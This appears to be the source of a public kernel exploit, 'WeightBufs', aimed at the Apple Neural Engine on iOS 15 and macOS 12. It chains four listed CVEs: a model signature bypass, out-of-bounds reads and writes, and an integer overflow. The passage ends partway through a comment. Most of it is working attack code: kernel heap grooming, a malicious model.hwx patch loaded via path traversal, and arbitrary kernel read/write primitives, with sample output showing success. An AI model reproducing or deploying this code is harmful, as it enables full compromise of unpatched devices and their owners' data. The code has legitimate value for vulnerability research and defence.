/*
 * WeightBufs : Apple Neural Engine (ANE) kernel exploit for iOS 15/macOS 12
 * Vulns && Exploit by @_simo36
 *
 * - Bugs :
 * CVE-2022-32845 : aned signature check bypass for model.hwx.
 * CVE-2022-32948 : DeCxt::FileIndexToWeight() OOB Read due to lack of array index validation
 * CVE-2022-42805 : ZinComputeProgramUpdateMutables() potential arbitrary read due to Integer overflow issue
 * CVE-2022-32899 : DeCxt::RasterizeScaleBiasData() OOB writes due to integer underflow vulnerability
 *
 * - Tested on :
 * iPhone12 Pro (iPhone13,3) with iOS 15.5
 * iPad Pro (iPad8,10) with iPadOS 15.5
 * iPhone11 Pro (iPhone12,3) with iOS 15.4.1
 * MacBookAir10,1 M1 with macOS 12.4

 [+] Loading AppleNeuralEngine framework ...OK
 [+] Patching model.hwx with custom initInfo section ... OK
 [+] Stage 1: Grooming kernel memory ...
 [+] Grooming IOSurface_zone ... OK
 [+] Grooming pageable maps ... OK
 [+] Grooming kernel_map ... . . . . . OK
 [+] Patching model.hwx with custom initInfo section ... OK
 [+] Found scratched ShmemID 0x1f6b with size 0x4000
 00 40 00 00 00 00 00 00  E0 A9 E6 9F E4 FF FF FF  |  .@..............
 00 00 B4 02 00 00 00 00  68 6C 55 CF E2 FF FF FF  |  ........hlU.....
 E0 F2 51 CF E2 FF FF FF  00 40 1B FF EF FF FF FF  |  ..Q......@......
 38 04 E8 66 E6 FF FF FF  4B 54 55 4D 01 00 00 00  |  8..f....KTUM....
 00 00 00 00 00 00 00 00                           |  ........
 [+] Leaked mutable kernel section (MUTK) buffer 0xffffffefff1b4000
 [+] Leaked IOSurface object 0xffffffe49fe6a9e0
 [+] Kernel location of our input buffer 0xffffffefff074000
 [+] Stage 3: Dumping a memory page from IOSurface_zone
 [+] Patching model.hwx with custom initInfo section ... OK
 [+] Found scratched ShmemID 0x1fb8 with size 0x4000
 [+] Found a matching surface-id=0x018f IOSurface=0xffffffe49fe68000 !
 [+] Found a matching surface-id=0x0195 IOSurface=0xffffffe49fe68430 !
 [+] Found a matching surface-id=0x0191 IOSurface=0xffffffe49fe69d50 !
 [+] Found a matching surface-id=0x0192 IOSurface=0xffffffe49fe6a180 !
 [+] Found a matching surface-id=0x0194 IOSurface=0xffffffe49fe6b240 !
 [+] Found a matching surface-id=0x018e IOSurface=0xffffffe49fe6baa0 !
 [+] IOSurfaceClient location 0xffffffe666eeab20
 [+] IOSurface location 0xffffffe49fe6baa0
 [+] IOSurfaceRoot 0xffffffe2ce25e000
 [+] Stage 4: Performing the arbitrary write primitive ...
 [+] Patching model.hwx with custom initInfo section ... OK
 [+] Got shmem id 0x1fb8 for 0xffffffefff074000
 [+] Stage 5: Get stable arbitrary kernel read/write .... OK
 [+] IOSurfaceRoot vtable 0xfffffff018456db0
 [+] kread64([0xfffffff018456db0]) = 0x39bbc170194012f4
 [+] kread64([0xffffffefff077000]) = 0x4141414100003000
 [+] kwrite64(0xffffffefff077000,0xdeadbeef12345678)
 [+] kread64([0xffffffefff077000]) = 0xdeadbeef12345678
 [+] Kernel text base 0xfffffff017bb8000
 CF FA ED FE 0C 00 00 01  02 00 00 C0 02 00 00 00  |  ................
 1A 00 00 00 90 16 00 00  01 00 20 00 00 00 00 00  |  .......... .....
 19 00 00 00 C8 02 00 00  5F 5F 54 45 58 54 00 00  |  ........__TEXT..
 00 00 00 00 00 00 00 00  00 80 BB 17 F0 FF FF FF  |  ................
 00 40 6F 00 00 00 00 00  00 00 00 00 00 00 00 00  |  .@o.............
 00 40 6F 00 00 00 00 00  05 00 00 00 05 00 00 00  |  .@o.............
 08 00 00 00 00 00 00 00  5F 5F 63 6F 6E 73 74 00  |  ........__const.
 [+] Cleanup done
 system name = Darwin
 node name   = iPhone12-Pro
 release     = 21.5.0
 version     = Darwin Kernel Version 21.5.0: Thu Apr 21 21:51:27 PDT 2022; root:xnu-8020.122.1~1/RELEASE_ARM64_T8101
 machine     = iPhone13,3


*/


#include "exploit.h"


struct exploit *p = NULL;

serializer_info_t *sinfo = NULL;
io_connect_t client = IO_OBJECT_NULL, surface_client = IO_OBJECT_NULL;


struct H11ANESharedMemorySurfaceParamsStruct aneMemSurface = {};

H11ANESharedEventsStruct *events = NULL;

extern uint32_t * prop_data;

struct kern_rw krw = {};

IOSurfaceID g_IOSurfaceIds[0x4000];
u32 g_IOSurfaceIds_count;
struct matched_surface matched = {};


u64 IOSurfaceRoot = 0;
u64 self_task = 0;
u64 IOSurface_zone_page = 0;
#define store_surface_id(id)                            \
        assert(g_IOSurfaceIds_count < 0x4000);          \
        g_IOSurfaceIds[g_IOSurfaceIds_count++] = (id)


#if TARGET_OS_OSX
_ANEModel * md = nil;
_ANEClient * anec  = nil;

#else   /* iOS/iPadOS  */

id  md = nil;
id  anec  = nil;

#define _ANEModel __ANEModel
#define _ANEClient __ANEClient
Class __ANEModel;
Class __ANEClient;
char *gBundle = NULL;


void hwx_init_frameworks(void)
{
        printf("[+] Loading AppleNeuralEngine framework ...");
        __ANEModel = NSClassFromString(@"_ANEModel");
        __ANEClient = NSClassFromString(@"_ANEClient");

        size_t size = 0x1000;
        char *bundle_path = (char *)calloc(1,size);
        CFBundleRef bundle = CFBundleGetBundleWithIdentifier(CFSTR("com.opa334.weightBufs"));
        CFURLRef url = CFBundleCopyBundleURL(bundle);
        CFURLGetFileSystemRepresentation(url, true, (UInt8 *)bundle_path, size);

        //CFURLGetFileSystemRepresentation(CFBundleCopyBundleURL(CFBundleGetMainBundle()), true, (UInt8 *)bundle_path, 0x1000);
        CFRelease(url);
        //printf("%s \n",bundle_path);
        gBundle = bundle_path;
        printf("OK\n");
}

#endif

void hwx_patch_model(void)
{
        printf("[+] Patching model.hwx with custom initInfo section ... ");
        size_t mh_size = 0;

#if TARGET_OS_OSX
        if(!p->mh)
                p->mh = load_file("model_tmp.hwx",&mh_size);

        /* void *mh = load_file("model_tmp.hwx",&mh_size); */

        struct mach_header_64 * mutable_mh = (struct mach_header_64 *)calloc(1,p->mh_size+0x10000);
        memcpy((void *)mutable_mh,(void *)p->mh,p->mh_size);

        u8* initInfo = NULL;
        _hwx_patch_model(mutable_mh,p->mh_size,&initInfo);
        assert(initInfo);

        memcpy(initInfo,p->initInfo,p->initInfo_sz);
        int fd = open("/var/tmp/model.hwx",O_RDWR|O_CREAT, 0777);
        assert(fd != -1);

        p->mh_size+=0x10000;
        ssize_t rb = write(fd,mutable_mh,p->mh_size);
        assert(rb == p->mh_size);
        close(fd);


#else
        gBundle[strlen(gBundle)] = '/';

        char *tmp_model = "model_tmp.hwx";
        char *mfile = (char*)calloc(strlen(gBundle) + strlen(tmp_model),1);
        assert(mfile);
        memcpy(mfile,gBundle,strlen(gBundle));
        memcpy(mfile+strlen(gBundle),tmp_model,strlen(tmp_model));

        if(!p->mh)
                p->mh = load_file(mfile,&p->mh_size);

        const char *model_path = [NSTemporaryDirectory() stringByAppendingPathComponent:@"model.hwx"].cString;// s.cString;
        int fd = open(model_path,O_RDWR|O_CREAT, 0644);
        if(fd == -1) {
                perror("open");
                exit(0);
        }

        struct mach_header_64 * mutable_mh = (struct mach_header_64 *)calloc(1,p->mh_size+0x10000);
        memcpy((void *)mutable_mh,(void *)p->mh,p->mh_size);

        u8* initInfo = NULL;
        _hwx_patch_model(mutable_mh,mh_size,&initInfo);
        assert(initInfo);

        memcpy(initInfo,p->initInfo,p->initInfo_sz);
        p->mh_size+=0x10000;
        ssize_t rb = write(fd,mutable_mh,p->mh_size);
        assert(rb == p->mh_size);
        close(fd);

#endif                         /* TARGET_OS_OSX */

        printf("OK\n");
}


uint64_t hwx_load_model(void)
{
        dbg("[+] Loading model.hwx  .. ");
#if TARGET_OS_OSX
        NSString  * model_str = @"/var/";
        NSString  * model_str2 = @"../../../../../../../../../../../../var/tmp/";
#else
        NSString  * model_str = NSTemporaryDirectory();

        char bundle_path_traversal[0x2000] = {0};
        snprintf(bundle_path_traversal,0x2000,"../../../../../../../../../../../../../%s",
                 NSTemporaryDirectory().cString );
        NSString *model_str2 = [NSString stringWithCString:bundle_path_traversal encoding:NSUTF8StringEncoding];
#endif
        NSError * err;

        NSURL  * model_url = [NSURL URLWithString: model_str];
        md = [_ANEModel modelAtURL:model_url key:@""];
        anec  = [_ANEClient sharedConnection];
        NSDictionary *opts = [NSMutableDictionary dictionary];

        [opts setValue:model_str forKey:@"kANEFIsInMemoryModelTypeKey"];
        [anec loadModel:md options:opts qos:2 error:&err];
        [opts setValue:@YES forKey:@"kANEFInMemoryModelIsCachedKey"];
        [opts setValue:model_str2 forKey:@"kANEFIsInMemoryModelTypeKey"];
        [anec loadModel:md options:opts qos:1 error:&err];


        if([md programHandle])
                dbg("OK\n");
        else {
                /* In terminal : 'idevicesyslog -u UDID --debug --match AppleH11ANEInterface' */
                /* if your see "Macho is not build", it means you've to guess the macho->cpu */
                printf("FAIL\n");
                printf("[-] Unable to load model.hwx. First make sure the macho->cpusubtype is correct. \n"
                       "\tIf so, type 'idevicesyslog -u UDID --debug --match AppleH11ANEInterface' to figure out the error\n");
                exit(0);
        }
        return [md programHandle];

}

 /* TODO : use program_handle arg */
void hwx_unload_model(u64 /* unused */ program_handle)
{
        dbg("[+] Unload program ... ");
        NSError *err = nil;
        NSDictionary *opts = [NSMutableDictionary dictionary];
        [anec purgeCompiledModel:md];
        [anec unloadModel:md options:opts qos:1 error:&err];
        dbg("OK\n");
}

uint64_t hwx_patch_and_load_model(void)
{
        hwx_patch_model();

        return hwx_load_model();
}

H11ANESharedEventsStruct * prepare_SignalWaitEvents(uint32_t numWaits, uint32_t numSignals,io_connect_t *surface_client)
{
        assert((numWaits <= 0x40) && (numSignals <= 0x40));
        H11ANESharedEventsStruct * SharedEvents = (H11ANESharedEventsStruct*)calloc(0x1408,1);
        assert(SharedEvents != NULL);

        SharedEvents->numWaitEvents = numWaits;
        SharedEvents->numSignalEvents = numSignals;
        mach_port_t shared_event = iosurface_create_shared_event(p->iosurface);

        for(int i=0; i < numWaits; i++) {
                SharedEvents->WaitEvents[i].eventPort = shared_event;
                SharedEvents->WaitEvents[i].waitValue = 0x41414141;

        }

        for(int i=0; i < numSignals; i++) {
                SharedEvents->SignalEvents[i].eventPort = shared_event;
                SharedEvents->SignalEvents[i].waitValue = 0x41414141;
                SharedEvents->SignalEvents[i].eventType = 2;

        }

        if(surface_client != NULL) *surface_client = p->iosurface;

        return SharedEvents;
}

void signal_wait_event(H11ANESharedEventsStruct *ev,uint32_t index,u64 waitValue)
{
        if(index == -1) {
                for(int i=0; i < ev->numWaitEvents; i++)

                        iosurface_signal_shared_event(surface_client,
                                                      ev->WaitEvents[i].eventPort,
                                                      waitValue + i);
                return;
        }
        assert(index < ev->numWaitEvents);
        iosurface_signal_shared_event(surface_client,
                                      ev->WaitEvents[index].eventPort,
                                      waitValue + index);
}

H11ANEProgramRequestArgsStruct * prepare_sendRequest(H11ANESharedEventsStruct *ev,
                                                     u64 program_handle)
{
        H11ANEProgramRequestArgsStruct * rq = (H11ANEProgramRequestArgsStruct *)calloc(0xA60,1);

        rq->programHandle = program_handle;

        rq->total_InputBuffers = 2;
        rq->inputBufferSurfaceId[0] = p->InOutSurface;
        rq->inputBufferSurfaceId[1] = p->InOutSurface;
        rq->inputBufferSymbolIndex[0] = 0;
        rq->inputBufferSymbolIndex[1] = 1;

        rq->weightsBufferSurfaceId  = p->weightsSurface;

        rq->total_OutputBuffers = 1;
        rq->outputBufferSurfaceId[0] = p->InOutSurface;

        rq->EventsAddr = (u64)ev;

        return rq;
}

void do_open_ane_device(u64 program_handle)
{
        client = iokit_get_connection("H11ANEIn",1);
        struct H11ANEDeviceInfoStruct din = {0};

        din.fields[0] = program_handle;
        din.fields[1] = 0x414141414141;
        *(uint32_t *)((char*)&din + 0x20) = 0x111;
        *(uint32_t *)((char*)&din + 0x30) = 0x222;

        do__ANEDriect_DeviceOpen(client,&din);
}

bool dev_open = false;
kern_return_t do_send_ane_request(u64 program_handle)
{
        if(dev_open == false) {
                do_open_ane_device(program_handle);
                dev_open = true;
        }

        H11ANEProgramRequestArgsStruct * request = prepare_sendRequest(events,0);
        if(!events)
                events = prepare_SignalWaitEvents(0,0,&surface_client);

        request->programHandle = program_handle;
        mach_port_t async = sr();
        kern_return_t kr = do__ANEDirect_ProgramSendRequest(client,async,request);
        if(kr == 0xe00002be) {
                IOServiceClose(client);
                client = IO_OBJECT_NULL;
                dev_open = false;
                printf("SendRequest failed ... \n");
        }

        free(request);
        mach_port_deallocate(mach_task_self(),async);
        return kr;
}

mach_port_t sr(void)
{
        mach_port_t p = MACH_PORT_NULL;
        kern_return_t kr = _kernelrpc_mach_port_allocate_trap(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
        assert(kr == KERN_SUCCESS);
        kr = _kernelrpc_mach_port_insert_right_trap(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
        assert(kr == KERN_SUCCESS);
        return p;
}

/*
 * I want IOSurface_zone to gather few pages before spraying kernel_map
 * and IOKit pageable maps. Then release some IOSurface objects to create
 * holes for IOSurface allocations that the neural engine driver will make soon.
 * As a result, they could fall between our newly created IOSurface objects.
 * The intentions behind this are:
 * 1- Ensure that IOSurface zone does not request additional pages in the future.
 * 2- I want to leak a memory page from IOSurface zone that contains at least one IOSurface object created by our exploit. This is an important step toward the kernel r/w primitive.
 */
void groom_IOSurface_zone(void)
{
        printf("[+] Grooming IOSurface_zone ... ");
        IOSurfaceID released[0x10] = {};
        u32 release_count = 0;

         /* Fill IOSurface_zone with bunch of IOSurface allocations */
        /* for(int i =0; i < 0x200; i+=1) { */
        for(int i =0; i < p->groom_surface_count; i++) {
                u32 ssid = 0;
                IOSurfaceFastCreateArgs args = {0};
                args.IOSurfaceAddress = 0;
                args.IOSurfaceAllocSize =  0x4000;
                create_surface_fast_path(p->iosurface, &ssid, &args);

                /* if( ((i & 0x10) == 0) && (i > 5) && (release_count < 10)) */
                /* For each page, release one IOSurface object */
                if( ((i & 0x10) == 0) && (i > 5) && (release_count < 5))
                        released[release_count++] = ssid;
                else
                        store_surface_id(ssid);
        }

        for(int i=0; i < release_count;i++) {
                release_surface(p->iosurface,released[i]);
        }

        printf("OK\n");
}

/*
 * I want to fill gIOKitPageableSpace's first sub-map.
 * As a result, when the next submap is assigned, its address range will (hopefully) be at a higher location.
 * This is however not guaranteed due to the kernel_map randomization.
 */
static void groom_pageable_maps(void)
{
        printf("[+] Grooming pageable maps ... ");
#if TARGET_OS_OSX
        io_connect_t c =iokit_get_connection("IOGPU",5);
#else
        io_connect_t c = iokit_get_connection("IOGPU",1);
#endif
        u32 q = 0;
        char input[1032] = {0};

        memset(input,0x41,0x400);
        * (uint32_t *)(input + 0x400) = 1 % 5;
        * (uint32_t *)(input + 0x404) = 1;

        struct IOGPUNotificationQueueData *n = do_s_create_notificationqueue(c);
        do_s_new_command_queue(c,&input,&q);

        do_s_set_command_queue_notification_queue(c,q,n->id);

        /* uint32_t count = MAX_SHMEMS - 1; */
        uint32_t count = p->groom_pageable_maps_count - 1;
        for(int i=0; i < count; i++) {
                struct shmem * shm = do_s_create_shmem(c,0x4000,1);;
                assert(!mlock(shm->shm_addr,shm->shm_len));
                p->shmems[p->shmems_count] = shm;
                p->shmems_count++;
        }

        IOGPUCommandQueueSubmitArgs_t *args = (IOGPUCommandQueueSubmitArgs_t *)calloc(0x28,1);
        args->hdr.count = 1;

        IOGPUCommandQueueSubmitArgs_Command_t *submit_args = &args->body[0];
        submit_args->notify_1 = 0x1111;
        submit_args->notify_2 = 0x2222;
        submit_args->shmid_1 = p->shmems[0]->shm_id;
        submit_args->shmid_2 = p->shmems[1]->shm_id;
        submit_args->shmid_3 = p->shmems[2]->shm_id;

        struct Shmem3 * shm3_data = (struct Shmem3 *)p->shmems[0]->shm_addr;

        struct IOGPUKernelCommand * cmd = (struct IOGPUKernelCommand * )p->shmems[1]->shm_addr;
        cmd->size = 8;
        cmd->type = 2;
        cmd->cmd.Cmd_0x2.sleep = 1;

        shm3_data->hdr.fieldC = 0x40000001;
        shm3_data->hdr.field0 = 0x42424242;
        shm3_data->off.kernelCommandStart = 0;
        shm3_data->off.kernelCommandEnd = sizeof(struct IOGPUKernelCommand) + 8;

        /* This is how pageable maps look like after spraying :                                     */
        /*   size=0x4000                                                                            */
        /*  <============>                                                                          */
        /* +--------------+--------------+--------------+-----+--------------+--------------------+ */
        /* | DeviceShmem1 | DeviceShmem2 | DeviceShmem3 | ... | DeviceShmemN |         ...        | */
        /* +--------------+--------------+--------------+-----+--------------+--------------------+ */
        /*  */
        for(int i = 0; i < (count -3); i+=3) {
                submit_args->shmid_1 = p->shmems[i]->shm_id;
                submit_args->shmid_2 = p->shmems[i+1]->shm_id;
                submit_args->shmid_3 = p->shmems[i+2]->shm_id;
                do_s_submit_command_buffers(c,q,(uint8_t*)args,0x28 + 8);
        }
        printf("OK\n");

}


struct shmem * lookup_scratched_shmem(u64 scratch,u32 size,u32 *offset)
{
        /* printf("[+] Call lookup_scratched_shmem() \n"); */
        for(u32 i=0; i < p->shmems_count;i++) {

                u8 * tmp = (u8*)memmem(p->shmems[i]->shm_addr,p->shmems[i]->shm_len,&scratch,size);
                if(tmp) {
                        printf("[+] Found scratched ShmemID 0x%x with size 0x%x\n",
                               p->shmems[i]->shm_id,p->shmems[i]->shm_len);
                        *offset = (u32)(tmp - (u8 *)p->shmems[i]->shm_addr);
                        return p->shmems[i];
                }
        }
        return NULL;
}

uint32_t subtypeToUse = 0;

void _hwx_patch_model(struct mach_header_64 *mh,size_t mh_size,u8 ** initInfo)
{
        if((mh->magic != 0xfeedface) && (mh->magic != 0xbeefface)) {
                printf("[-] Not a mach-O file \n");
                assert(false);
        }
    
        mh->cpusubtype = subtypeToUse;

        struct load_command *lc = NULL;
        FOR_EACH_COMMAND {

                if (lc->cmd == LC_SEGMENT_64) {
                        struct segment_command_64 *seg = (struct segment_command_64*)lc;
                        dbg("Found LC_SEGMENT_64 %s \n",seg->segname);
                        struct section_64 * sct_start = (struct section_64*)(seg + 1);
                        struct section_64 * sct_end = &sct_start[seg->nsects];

                        for (struct section_64* sect=sct_start; (sect < sct_end); ++sect) {
#if 0
                                printf("%s :section %s Flags 0x%x size = 0x%llx \n",
                                    sect->segname,sect->sectname,sect->flags,sect->size);
#endif
                                if(!strcmp(sect->segname,"__TEXT") && !strcmp(sect->sectname,"__const")) {
                                        sect->flags = 0x2C;
                                        *initInfo = (u8 *)mh + sect->offset;;
                                }

                                if(!strcmp(sect->segname,"__FVMLIB") && !strcmp(sect->sectname,"__fvmlib_init0")) {
                                        dbg("Found __fvmlib_init0 section \n");
                                        sect->flags = 0;
                                }

                                if(!strcmp(sect->segname,"__INIT") && !strcmp(sect->sectname,"__text")) {
                                        sect->flags = 0x2a;
                                }

                        }

                } else if (lc->cmd == LC_THREAD) {
                        struct compute_thread_command *thread = (struct compute_thread_command *)lc;
                        switch (thread->flavor) {
                        case THREAD_PROCEDURE_OPERATION: {
                                *(uint64_t*)((char*)thread + 0x830 + 0x10) = rand();  /* 0x10 is the load cmd size */
                                break;
                        }
                        default:
                                break;
                        }
                }

        }

}

/* Prepare the weight buffer content */
static void setup_ANECMutableProcedureInfo(u8 *address,size_t address_size,
                                           size_t total_size,size_t chunk_size,
                                           u64 chunk_offset)
{
        bzero(address,address_size);
        uint32_t weight_size = 0x1;

        struct ANECMutableProcedureInfo * pinfo = (struct ANECMutableProcedureInfo *)address;
        pinfo->hdr.weight_buffer_size = weight_size;
        struct weightInfo *mw = NULL;

        for(int i=0; i < weight_size; i++) {
                pinfo->wb_offsets[i] = 0x200;
                struct opsInfo *ops = (struct opsInfo *)((u8*)pinfo + pinfo->wb_offsets[i]);
                ops->op_count = (u32)total_size/0x10;

                for(int j = 0; j < ops->op_count; j++  ) {
                        ops->op_offsets[j] = 0x1000;
                        mw = (struct weightInfo *)((u8 *)pinfo + ops->op_offsets[j]);
                        mw->wi_index = 0;
                        mw->wi_offset = chunk_offset;
                        mw->wi_size = chunk_size;
                }
        }
}

#define __set8(ptr,val)                         \
        *ptr++ = val;

#define __set16(ptr,val)                           \
        *(u16 *)ptr = val;                         \
        ptr+=2;

#define __set32(ptr,val)                          \
        *(u32 *)ptr = val;                        \
        ptr+=4;

#define __set64(ptr,val)                          \
        *(u64 *)ptr = val;                        \
        ptr+=8;

#define DeCxt_GetFileInfo(ptr,index32,offset64,size64)                  \
        *(u32 *) ptr =  index32;                                        \
        *(u64 *) (ptr + 4)  =  offset64;                                \
        *(u64 *) (ptr + 12) =  size64;                                  \
        ptr+=20;

#define DeCxt_GetWeightInfo(ptr,val8,val16_ptr)         \
        *ptr++ = val8;                                  \
        for(int i=0 ; i < 5;i++) {                      \
                *(u16 *)(ptr) = val16_ptr[i];           \
                ptr+=2;                                 \
        }                                               \

#define DeCxt_ParseTransformInfo(ptr,val8, val16_ptr)   \
        *ptr++ = val8[0];                               \
        *ptr++ = val8[1];                               \
        *ptr++ = val8[2];                               \
                                                        \
        *(u16 *)ptr = val16_ptr[0]; ptr+=2;             \
        *(u16 *)ptr = val16_ptr[1]; ptr+=2;             \
        *(u16 *)ptr = val16_ptr[2]; ptr+=2;             \


#define DeCxt_ParseOcgRasterizationInfo(ptr,val16_ptr)  \
        for(int i=0 ; i < 4;i++) {                      \
                *(u16 *)(ptr) = val16_ptr[i];           \
                ptr+=2;                                 \
        }                                               \

/* Serialize init_section then patch model.hwx's init_section later before loading it */
static void serialize_initinfo_section(u8 *init_info,serializer_info_t *info)
{
        dbg("[+] Serializing init_section header  \n");
        u8 * ptr = init_info;
        u8 * info_hdr = (u8 *)init_info;

        /* DeCxt::ParseHeader */
        __set32(info_hdr,2);
        __set32(info_hdr,0x80);
        __set32(info_hdr,2);
        __set32(info_hdr,2);

        ptr = info_hdr;
        __set64(ptr,0x2000);
        *(u64 *)(init_info + 0x2000 ) = 0x2000;;
        *(u64 *)(init_info + 0x2000 + 8) = 0x3000;

        /* DeCxt::ProcessInitInfo */

        /* -> DeCxt::ParseScaleBiasWeightFileInfo */
        u8 *ptr2 = init_info + 0x3000;
        __set8(ptr2,1);                             /* Enalbe fileInfo1 */
        __set8(ptr2,1);                             /* Enalbe fileInfo2 */
        __set8(ptr2,1);                             /* Enalbe fileInfo3 */

        /* --> DeCxt::GetFileInfo */
        DeCxt_GetFileInfo(ptr2,info->chunk_index,0,info->global_chunk_size);
        DeCxt_GetFileInfo(ptr2,0,0,1);
        DeCxt_GetFileInfo(ptr2,0,0,1);

        /* --> DeCxt::GetWeightInfo */
        u16 val16[5] = {1,2,3,4,5};
        DeCxt_GetWeightInfo(ptr2,41,val16);

        __set16(ptr2,1);                            /* used for buffer allocation, putting it to zero will skip the loop */
        u8 *ptr3 = ptr2;                            /* ZinIrDeserializer::Read() */

        /* --> DeCxt::ParseTransform */
        /* ***** first loop **** */
        __set8(ptr3,1);                             /* case 1 */

        __set64(ptr3,info->read_count/2);           /* how many u64 we want to leak ? */
        __set64(ptr3,info->read_offset);            /* the starting offset to read from*/

        /* ***** second loop **** */
        __set16(ptr3,1);

        u8 val8[3] = {1,1};
        u16 val16_2[3] = {1,0,0};
        DeCxt_ParseTransformInfo(ptr3,val8,val16_2);

        __set16(ptr3,0);                            /* The chunk index */


        __set16(ptr3,1);                            /* Back to Transform list */
        __set16(ptr3,1);                            /* Back to Transform list */

        /* DeCxt::RasterizeScaleBiasData */
        __set64(ptr3,info->underflow);              /* 2nd arg : The value that will underflow the calculaion */

        __set16(ptr3,1);                            /* 3rd arg : u16 value */

        /* ParseOcgRasterizationInfo */
        u16 ocgInfo[4] = {0,0,0,info->ocg.vals[3]};
        DeCxt_ParseOcgRasterizationInfo(ptr3,ocgInfo);

}

void kwrite64(uint64_t address,uint64_t value)
{
#if TARGET_OS_OSX
        *(u64 *) (krw.shm_uaddr + 0x358) = address;
#else
        *(u64 *) (krw.shm_uaddr + 0x360) = address;
#endif
        set_indexed_timestamp(p->iosurface,krw.surface_id,0,value);
}

uint32_t kread32(uint64_t address)
{
        *(u64 *) (krw.shm_uaddr + 0xc0 ) = address - 0x14;
        uint32_t out = 0;
        iosurface_get_use_count(p->iosurface,krw.surface_id,&out);
        return out;

}

uint64_t kread64(uint64_t address)
{
        uint32_t out = kread32(address);
        uint32_t out2 = kread32(address + 4);
        uint64_t value = ((uint64_t)out2 << 32) | out;

        return value;
}
void khexdump(u64 kaddr,u64 size)
{
        u8 * data = (u8 *)calloc(size,1);
        for(int i=0; i < size;i+=8) {
                u64 kdata = kread64(kaddr + i);
                *(u64 *) (data + i) = kdata;
        }

        hexdump(data,size);
        free(data);

}

static void iosurface_spray_kernel_map(u32 surface_id,u32 key,u32 size,u32 count)
{
        init_iosurface_prop_data();

        u32 ppsz = 0x10;
        u8 * pp = (u8 *)calloc(ppsz,1);
        memset(pp,0xAA,ppsz);

        uint32_t offkey = build_iosurface_payload(size/8,pp,ppsz,key);
        u32 lkey = key;
        for(int i=0; i < count;i++) {
                iosurface_set_value(p->iosurface,surface_id);
                *(uint32_t *)(prop_data + offkey * 4) = lkey++;
        }
        free(pp);
}

static void get_surface_base(uint32_t surface_id,u8 **address, size_t *size)
{
        IOSurfaceRef s = IOSurfaceLookup(surface_id);
        assert(s);
        *address = (u8*)IOSurfaceGetBaseAddress(s);
        *size = (size_t)IOSurfaceGetAllocSize(s);
        CFRelease(s);
}

void init_structs(void)
{

        p = (struct exploit *)calloc(1,sizeof(struct exploit));
        assert(p);

        p->initInfo_sz = 0x4000;
        vm_address_t addr = 0;
        kern_return_t kr = vm_allocate(mach_task_self(),&addr,p->initInfo_sz,1);
        p->initInfo = (u8*)addr;
        assert(kr == KERN_SUCCESS);

         /* Prepare WeightSurface, the kernel mapping of this will land at KHEAP_DATA_BUFFERS */
        p->weightsBufferSize = 0x80000;
        IOSurfaceFastCreateArgs args = {0};
        args.IOSurfaceAddress = (vm_address_t)malloc(p->weightsBufferSize);
        args.IOSurfaceAllocSize =  (uint32_t)p->weightsBufferSize;

        p->iosurface = create_surface_fast_path(IO_OBJECT_NULL, &p->weightsSurface, &args);
        store_surface_id(p->weightsSurface);

        p->weightsBuffer = (u8*)IOSurfaceGetBaseAddress(IOSurfaceLookup((IOSurfaceID)p->weightsSurface));
        args.IOSurfaceAddress = 0;
        args.IOSurfaceAllocSize =  0x400000;
        create_surface_fast_path(p->iosurface, &p->InOutSurface, &args);
        store_surface_id(p->InOutSurface);

        /* Prepare the serializer object */
        sinfo = (serializer_info_t *)calloc(1,sizeof(serializer_info_t));
        assert(sinfo);

        p->groom_surface_count = 0x20;
        p->groom_pageable_maps_count = MAX_SHMEMS;

#if TARGET_OS_OSX
        p->groom_kernel_map_count = 0x10;
#else
        p->groom_kernel_map_count = 0x30;
#endif
}

void groom_kernel_map(void)
{
        u64 program_handle =0;
        u32 loaded_progs_count = MAX_PROGRAMS;

        /*   size = 0xc000                                                                                      */
        /*   <============>                                                                                     */
        /*  +--------------+--------------+--------------+-----------+-----------------------------------       */
        /*  | OSArray ptrs | OSArray ptrs | OSArray ptrs | fresh VA  |            ..........                    */
        /*  +--------------+--------------+--------------+-----------+-----------------------------------       */
        /*  <------------------------------------------ kernel_map ---------------------------------------      */
        /*  */


        if(p->kernel_map_groom_done == false) {
                printf("[+] Grooming kernel_map ... ");
                for(int i=0; i < p->groom_kernel_map_count; i++)
                        iosurface_spray_kernel_map(p->weightsSurface,0x44444401 + i,0xc000,1); /*  */

                p->kernel_map_groom_done = true;
        }

        /*  Groom kernel_map such that OSArray backing store objects fall between H11ANEProgramBufferParamsStruct(s)*/
        /*             size=0x54000                   size=0x54000                                                      */
        /*           <=============>                 <=============>                                                    */
        /* ---------+---------------+---------------+---------------+---------------+-----+-------------------------    */
        /*   ...    | ProgramBuffer | ProgramBuffer |    OSArray    | ProgramBuffer | ... | ProgramBuffer  ...          */
        /* ---------+---------------+---------------+---------------+---------------+-----+-------------------------    */
        /* ^------------------------------------------ kernel_map -----------------------------------------------       */
        /*  */

        u32 keys[loaded_progs_count], keys_cnt = 0;
        for(int i=0;i < loaded_progs_count; i++) {
                /*
                 * This is a crucial step to improve the success rate of stage 2:
                 * Make sure that each page in IOSurface_zone contains at least one IOSurface
                 * object that's owned by us, so later when we leak an IOSurface_zone_page from that zone
                 * we can retrieve an IOSurface object through IOSurfaceID identification.
                 */
                u32 ssid = 0;
                IOSurfaceFastCreateArgs args = {0};
                args.IOSurfaceAddress =  (vm_address_t)malloc(0x4000);
                args.IOSurfaceAllocSize =  0x4000;
                // for(int j=0; j < 2;j++) {
                for(int j=0; j < 2;j++) {
                        create_surface_fast_path(p->iosurface, &ssid, &args);
                        store_surface_id(ssid);
                }

                program_handle = hwx_load_model();
                hwx_unload_model(program_handle);

                if((i % 2) == 0) {
                        keys[keys_cnt] = 0x10101001 +  (keys_cnt <<28);
                        iosurface_spray_kernel_map(p->weightsSurface,keys[keys_cnt++],0x54000,1);
                }
                printf(". ");

        }
        printf("OK\n");

        /* MUTK & PROG IOSurface mappings will be adjacents to our DeviceShmem mappings                                                         */
        /*        size=0x4000    size=0x4000  size=0x10000                                                          */
        /*       <============> <==========> <=============>                                                        */
        /* -----+--------------+------------+---------------+------------+--------------+-------                    */
        /*  ... | DeviceShmemN |  MUTK(1)   |    PROG(1)    |   MUTK(2)  |    PROG(2)   |  ...                      */
        /* -----+--------------+------------+---------------+------------+--------------+-------                    */
        /*                                                                                                          */


        /*  Free OSArray objects to create holes in kernel_map                                                          */
        /*             size=0x54000                   size=0x54000                                                      */
        /*           <=============>                 <=============>                                                    */
        /* ---------+---------------+---------------+---------------+---------------+-----+-------------------------    */
